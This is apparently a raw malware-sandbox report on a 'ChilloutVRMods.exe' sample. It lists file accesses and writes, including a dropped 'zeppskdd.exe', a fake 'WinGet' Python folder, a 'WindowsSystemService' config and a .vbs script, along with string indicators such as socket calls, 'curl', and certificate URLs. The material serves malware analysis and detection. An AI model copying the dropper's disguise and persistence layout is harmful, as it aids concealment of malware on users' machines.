"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\pycompat.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\remotectypes.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\security.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\syswow64.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\test.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\wintrust.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\crypto\__init__.py"5d:T933,"ChilloutVRMods.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "ChilloutVRMods.exe" trying to access non-existent file "C:\VCRUNTIME140_1.dll" "ChilloutVRMods.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "ChilloutVRMods.exe" trying to access non-existent file "C:\advapi32.dll" "ChilloutVRMods.exe" trying to access non-existent file "C:\kernel32.dll" "zeppskdd.exe" trying to access non-existent file "C:\Users\kRcug2J\AppData\Local\Temp\dbghelp.dll" "zeppskdd.exe" trying to access non-existent file "C:\Users\kRcug2J\AppData\Local\Temp\IPHLPAPI.DLL" "zeppskdd.exe" trying to access non-existent file "C:\Users\kRcug2J\AppData\Local\Temp\USERENV.dll" "zeppskdd.exe" trying to access non-existent file "C:\Users\kRcug2J\AppData\Local\Temp\bcrypt.dll" "zeppskdd.exe" trying to access non-existent file "C:\Users\kRcug2J\AppData\Local\Temp\WINMM.dll" "zeppskdd.exe" trying to access non-existent file "C:\Users\kRcug2J\AppData\Local\Temp\CRYPTBASE.DLL" "zeppskdd.exe" trying to access non-existent file "C:\Users\kRcug2J\AppData\Local\Temp\VCRUNTIME140.dll" "zeppskdd.exe" trying to access non-existent file "C:\Users\kRcug2J\AppData\Local\Temp\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_1_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll"5e:T70b,"ChilloutVRMods.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\zeppskdd.exe:Zone.Identifier:$DATA" "zeppskdd.exe" trying to access non-existent file "C:\node_modules" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\.node_modules" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\.node_libraries" "zeppskdd.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}" "zeppskdd.exe" trying to access non-existent file "C:\Users\kRcug2J\AppData\Roaming\WindowsSystemService\Logs" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\_rels" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\images" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\multiprocessing" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3" "zeppskdd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\contrib"5f:T8c0,"ChilloutVRMods.exe" writes file "c:\users\%osuser%\appdata\local\temp\zeppskdd.exe" "ChilloutVRMods.exe" writes file "%temp%\zeppskdd.exe" "zeppskdd.exe" writes file "\device\namedpipe\uv\0000000000000000-4592" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\roaming\windowssystemservice\config.json" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\roaming\windowssystemservice\logs\service.log" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\systemservice_readme.txt" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\version.txt" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\system_check_1788280749172.vbs" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\_rels\.rels" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\python.nuspec" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\images\python.png" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\tools\lib\multiprocessing\shared_memory.py" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\tools\lib\site-packages\pip\_vendor\urllib3\contrib\__init__.py" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\tools\license.txt" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\tools\lib\asyncio\selector_events.py" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\tools\lib\multiprocessing\spawn.py" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\tools\lib\site-packages\pip\_vendor\urllib3\contrib\_securetransport\bindings.py" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\tools\python.exe" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\tools\lib\asyncio\sslproto.py" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\tools\lib\multiprocessing\synchronize.py" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\tools\lib\site-packages\pip\_vendor\urllib3\contrib\_securetransport\low_level.py" "zeppskdd.exe" writes file "c:\users\%osuser%\appdata\local\temp\winget\tools\lib\asyncio\staggered.py"60:T1967,Observed string: "import localeimport loggingimport osimport sysfrom optparse import Valuesfrom types import ModuleTypefrom typing import Any, Dict, List, Optionalimport pip._vendorfrom pip._vendor.certifi import wherefrom pip._vendor.packaging.version import parse as parse_versionfrom pip import __file__ as pip_locationfrom pip._internal.cli import cmdoptionsfrom pip._internal.cli.base_command import Commandfrom pip._internal.cli.cmdoptions import make_target_pythonfrom pip._internal.cli.status_codes import SUCCESSfrom pip._internal.configuration import Configurationfrom pip._internal.metadata import get_environmentfrom pip._internal.utils.logging import indent_logfrom pip._internal.utils.misc import get_pip_versionlogger = logging.getLogger(__name__)def show_value(name: str, value: Any) -> None: logger.info('%s: %s', name, value)def show_sys_implementation() -> None: logger.info('sys.implementation:') implementation_name = sys.implementation.name with indent_log(): show_value('name', implementation_name)def create_vendor_txt_map() -> Dict[str, str]: vendor_txt_path = os.path.join( os.path.dirname(pip_location), '_vendor', 'vendor.txt' ) with open(vendor_txt_path) as f: # Purge non version specifying lines. # Also, remove any space prefix or suffixes (including comments). lines = [line.strip().split(' ', 1)[0] for line in f.readlines() if '==' in line] # Transform into "module" -> version dict. return dict(line.split('==', 1) for line in lines) # type: ignoredef get_module_from_module_name(module_name: str) -> ModuleType: # Module name can be uppercase in vendor.txt for some reason... module_name = module_name.lower() # PATCH: setuptools is actually only pkg_resources. if module_name == 'setuptools': module_name = 'pkg_resources' __import__( f'pip._vendor.{module_name}', globals(), locals(), level=0 ) return getattr(pip._vendor, module_name)def get_vendor_version_from_module(module_name: str) -> Optional[str]: module = get_module_from_module_name(module_name) version = getattr(module, '__version__', None) if not version: # Try to find version in debundled module info. env = get_environment([os.path.dirname(module.__file__)]) dist = env.get_distribution(module_name) if dist: version = str(dist.version) return versiondef show_actual_vendor_versions(vendor_txt_versions: Dict[str, str]) -> None: """Log the actual version and print extra info if there is a conflict or if the actual version could not be imported. """ for module_name, expected_version in vendor_txt_versions.items(): extra_message = '' actual_version = get_vendor_version_from_module(module_name) if not actual_version: extra_message = ' (Unable to locate actual module version, using'\ ' vendor.txt specified version)' actual_version = expected_version elif parse_version(actual_version) != parse_version(expected_version): extra_message = ' (CONFLICT: vendor.txt suggests version should'\ ' be {})'.format(expected_version) logger.info('%s==%s%s', module_name, actual_version, extra_message)def show_vendor_versions() -> None: logger.info('vendored library versions:') vendor_txt_versions = create_vendor_txt_map() with indent_log(): show_actual_vendor_versions(vendor_txt_versions)def show_tags(options: Values) -> None: tag_limit = 10 target_python = make_target_python(options) tags = target_python.get_tags() # Display the target options that were explicitly provided. formatted_target = target_python.format_given() suffix = '' if formatted_target: suffix = f' (target: {formatted_target})' msg = 'Compatible tags: {}{}'.format(len(tags), suffix) logger.info(msg) if options.verbose < 1 and len(tags) > tag_limit: tags_limited = True tags = tags[:tag_limit] else: tags_limited = False with indent_log(): for tag in tags: logger.info(str(tag)) if tags_limited: msg = ( '...\n' '[First {tag_limit} tags shown. Pass --verbose to show all.]' ).format(tag_limit=tag_limit) logger.info(msg)def ca_bundle_info(config: Configuration) -> str: levels = set() for key, _ in config.items(): levels.add(key.split('.')[0]) if not levels: return "Not specified" levels_that_override_global = ['install', 'wheel', 'download'] global_overriding_level = [ level for level in levels if level in levels_that_override_global ] if not global_overriding_level: return 'global' if 'global' in levels: levels.remove('global') return " ".join(levels)class DebugCommand(Command): """ Display debug information. """ usage = """ %prog """ ignore_require_venv = True def add_options(self) -> None: cmdoptions.add_target_python_options(self.cmd_opts) self.parser.insert_option_group(0, self.cmd_opts) self.parser.config.load() def run(self, options: Values, args: List[str]) -> int: logger.warning( "This command is only meant for debugging. " "Do not use this with automation for parsing and getting these " "details since the output and options of this command may " "change without notice." ) show_value('pip version', get_pip_version()) show_value('sys.version', sys.version) show_value('sys.executable', sys.executable) show_value('sys.getdefaultencoding', sys.getdefaultencoding()) show_value('sys.getfilesystemencoding', sys.getfilesystemencoding()) show_value( 'locale.getpreferredencoding', locale.getpreferredencoding(), ) show_value('sys.platform', sys.platform) show_sys_implementation() show_value("'cert' config value", ca_bundle_info(self.parser.config)) show_value("REQUESTS_CA_BUNDLE", os.environ.get('REQUESTS_CA_BUNDLE')) show_value("CURL_CA_BUNDLE", os.environ.get('CURL_CA_BUNDLE')) show_value("pip._vendor.certifi.where()", where()) show_value("pip._vendor.DEBUNDLED", pip._vendor.DEBUNDLED) show_vendor_versions() show_tags(options) return SUCCESS" (Indicator: ""curl") in Source: debug.py61:Td74,file/memory contains long string with (Indicator: " socket "; File: "_socket.pyd") file/memory contains long string with (Indicator: " connect "; File: "_socket.pyd") file/memory contains long string with (Indicator: " bind "; File: "_socket.pyd") file/memory contains long string with (Indicator: " accept "; File: "_socket.pyd") file/memory contains long string with (Indicator: "inet_ntoa"; File: "_socket.pyd") file/memory contains long string with (Indicator: "gethostbyname"; File: "_socket.pyd") file/memory contains long string with (Indicator: "gethostname"; File: "_socket.pyd") file/memory contains long string with (Indicator: "wsastartup"; File: "_socket.pyd") file/memory contains long string with (Indicator: " send "; File: "_socket.pyd") file/memory contains long string with (Indicator: " socket "; File: "_overlapped.pyd") file/memory contains long string with (Indicator: " accept "; File: "specifiers.py") file/memory contains long string with (Indicator: " shutdown "; File: "process.py") file/memory contains long string with (Indicator: " send "; File: "process.py") file/memory contains long string with (Indicator: " socket "; File: "cmdoptions.py") file/memory contains long string with (Indicator: " socket "; File: "sslproto.py") file/memory contains long string with (Indicator: " shutdown "; File: "sslproto.py") file/memory contains long string with (Indicator: " send "; File: "sslproto.py") file/memory contains long string with (Indicator: " socket "; File: "streams.py") file/memory contains long string with (Indicator: " socket "; File: "select.pyd") file/memory contains long string with (Indicator: " connect "; File: "retry.py") file/memory contains long string with (Indicator: " bind "; File: "bindings.py") file/memory contains long string with (Indicator: " socket "; File: "util.py") file/memory contains long string with (Indicator: " bind "; File: "util.py") file/memory contains long string with (Indicator: " shutdown "; File: "util.py") file/memory contains long string with (Indicator: " shutdown "; File: "dumb.py") file/memory contains long string with (Indicator: " accept "; File: "__init__.py") file/memory contains long string with (Indicator: " socket "; File: "transports.py") file/memory contains long string with (Indicator: " socket "; File: "timeout.py") file/memory contains long string with (Indicator: " connect "; File: "timeout.py") file/memory contains long string with (Indicator: " send "; File: "thread.py") file/memory contains long string with (Indicator: " socket "; File: "ssltransport.py") file/memory contains long string with (Indicator: " shutdown "; File: "trsock.py") file/memory contains long string with (Indicator: " socket "; File: "_implementation.py") file/memory contains long string with (Indicator: " socket "; File: "wait.py") file/memory contains long string with (Indicator: " socket "; File: "windows_utils.py") file/memory contains long string with (Indicator: " socket "; File: "connection.py") file/memory contains long string with (Indicator: " connect "; File: "connection.py") file/memory contains long string with (Indicator: " bind "; File: "connection.py") file/memory contains long string with (Indicator: " accept "; File: "main.py") file/memory contains long string with (Indicator: " connect "; File: "proxy.py") file/memory contains long string with (Indicator: " socket "; File: "makefile.py")62:Tc27f,Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00002044.00000000.199435.61760000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00002044.00000000.199435.61760000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00002044.00000000.199435.61760000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00002044.00000000.199435.61760000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportsecp256k1ecdhcryptoidinfoeccparameterssecp384r1ecdsacryptoidinfoeccparametersszoid_root_program_auto_update_end_revocationnistp521ecdsacryptoidinfoeccparameterssecp192k1ecdsacryptoidinfoeccparameterssecp521r1ecdsacryptoidinfoeccparametersnistp521ecdhcryptoidinfoeccparametersnistp224ecdsacryptoidinfoeccparameterswtls7ecdhcryptoidinfoeccparametersicrosoft" - Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm[:dsbtnbj'v(zp" - Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00002044.00000001.199487.615E0000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00002044.00000001.199487.61760000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0z" - Source: "00000000-00002044.00000001.199487.61760000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:^xh/-obw" - Source: "00000000-00002044.00000001.199487.61760000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportsecp256k1ecdhcryptoidinfoeccparameterssecp384r1ecdsacryptoidinfoeccparametersszoid_root_program_auto_update_end_revocationnistp521ecdsacryptoidinfoeccparameterssecp192k1ecdsacryptoidinfoeccparameterssecp521r1ecdsacryptoidinfoeccparametersnistp521ecdhcryptoidinfoeccparametersnistp224ecdsacryptoidinfoeccparameterswtls7ecdhcryptoidinfoeccparametersicrosoft" - Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm[:dsbtnbj'v(zp" - Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0zdao" - Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0uksuswbx6syy'q\y-g" - Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00002044.00000001.199487.7BAC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00002044.00000001.199487.7BAC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00002044.00000001.199487.7BAC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00002044.00000001.199487.7BAC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4rpor:" - Source: "00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repoo0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smwashington1redmond1microsoft" - Source: "00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0fg:smrsa1>iblj" - Source: "00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>8%$mx%$mx%$m8&$mx&$mwashington1redmond1microsoft" - Source: "00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00003696.00000000.199860.B4590000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003696.00000000.199860.B4590000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003696.00000000.199860.B4590000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00003696.00000000.199860.B4950000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003696.00000000.199860.B4950000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00003696.00000000.199860.B4950000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00003696.00000000.199860.B4950000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportoftware\policies\microsoft\windows" - Source: "00000000-00003696.00000000.199860.CE940000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>re=n-l," - Source: "00000000-00003696.00000000.199860.CE940000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00003696.00000000.199860.CE940000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003696.00000000.199860.CE940000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00003696.00000000.199860.CE940000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00003696.00000000.199860.CEBD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00003696.00000000.199860.CEBD0000.00000004.mdmp") Found URL "http://www.microsoft.com@" - Source: "00000000-00003696.00000000.199860.CEBD0000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00003696.00000000.199860.CEBD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003696.00000000.199860.CEBD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00003696.00000000.199860.CEBD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00003696.00000000.199860.CEBD0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00003696.00000000.199860.CEBD0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%lu&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00003696.00000000.199860.D48DA000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&forceupdatefrommuhttpupdatealtlocationcloudbasedbehaviorblockingsignaturedisablenotificationdisablescheduledsignatureupdateonbatterysignaturecategoryidnissignatureslastupdatedsignatureupdatecatchupintervalenableemergencysigslastemergencysigchecknissignatureversiondeltaupdatefailure%mpconfig_productappdatapath%\definition" - Source: "00000000-00003696.00000000.199860.D48DA000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportdisableblockatfirstseenlocalsettingoverridesubmitsamplesconsentheartbeatsamplingrateheartbeatdelayindaysbypassinternetcheckssloptionslastmapssuccesstimemapslatencyretrytimeoutthreatseveritydefaultactionlastmapsfailuretimetsstarttimetsstatetssourcetsexpirationtimedisableprivacymodetsdailyquotauilockdownallowuseruiaccessnotification_suppressadvertiselastscheduledsuppresswdonotificationsuppressrebootnotificationpauseupdateexpirationtimepauseupdatestarttimedisablelastaccesstimesuppressionlastheartbeatsystimeproxyforceignorecacheinternalforceuupdisableasyncscanonclosedisableinjectionenablertpasyncthrottlingasynconopenvolumesdlpshowdialogsrtpasyncthrottlepercentvaluedlpdisableprintfileheuristicenablebrowserpasteenforcementdisablecopyaccelerationforsessionzerodlpdisablebrowsercachedynamicinjectionthresholdforcopyaccelerationdisabletpexclusionsdlpbrowsercachecleanupintervaldynamicinjectiontimewindowforcopyaccelerationdlpbrowsercloudegressbypassdurationdlpbrowserstalecachecleanupintervalfilterexperimentmodepreventplatformupdatempconfig_productcodenamecopyacceleratorcancellablecopysupportmpconfig_productpathmpconfig_productuserappdatapathmpconfig_productappdatapath12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_appdataroot\msmplics.dllmpconfig_reportingguidorrupted_previous_tspreferenceconfigs.snptpconfigsnapshot.snptspolicyconfigs.snphklm\failed" - Source: "00000000-00003696.00000000.199860.D48DA000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00003696.00000001.199884.B4590000.00000004.mdmp") Found URL 